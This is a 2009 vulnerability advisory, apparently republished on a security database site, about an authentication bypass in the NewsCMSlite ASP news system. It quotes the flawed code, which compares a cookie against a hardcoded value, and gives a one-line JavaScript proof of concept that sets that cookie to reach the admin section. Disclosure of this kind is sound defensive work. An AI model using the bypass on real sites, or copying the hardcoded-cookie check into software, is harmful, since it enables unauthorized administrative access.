NewsCMSlite Insecure Cookie Handling

2009.01.28
Credit: AmnPardaz
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

########################## www.BugReport.ir ######################### # # AmnPardaz Security Research Team # # Title: NewsCMSlite # Vendor: http://www.katywhitton.com # Bug: Insecure Cookie Handling # Exploitation: Remote with browser # Fix: N/A # Original Advisory: http://www.bugreport.ir/index_62.htm ################################################################### #################### - Description: #################### NewsCMSlite is an easy way to get regularly updated content onto your site without the need for programming skills or employing a Web Maintenance engineer. The system allows you to update your news, articles, diary etc.dynamically using an Access Database to store the content. #################### - Vulnerability: #################### +-->Insecure Cookie Handling Because of improper access restriction to the administration section, It is possible to bypass the authentication mechanism and gain access to the administration section by setting the "loggedIn" cookie to "xY1zZoPQ" Code Snippet: /newsadmin.asp #line:73-101 if pageView="login" THEN ' Nothing ELSE if (Request.Cookies("loggedIn")="") OR (Request.Cookies("loggedIn")<>"xY1zZoPQ") THEN %> <p><div align="center"> . . . <% ELSE %> <%if pageView="" THEN ' The User is logged in with permission ' to view the admin section so we ' display the article list and ' options menu #################### - POC: #################### javascript:document.cookie = "loggedIn=xY1zZoPQ; path=/" #################### - Solution: #################### Restrict and grant only trusted users access to the resources. Edit the source code to ensure that inputs are properly sanitized. #################### - Credit : #################### AmnPardaz Security Research & Penetration Testing Team Contact: admin[4t}bugreport{d0t]ir www.BugReport.ir www.AmnPardaz.com

References:

http://seclists.org/bugtraq/2009/Jan/0248.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top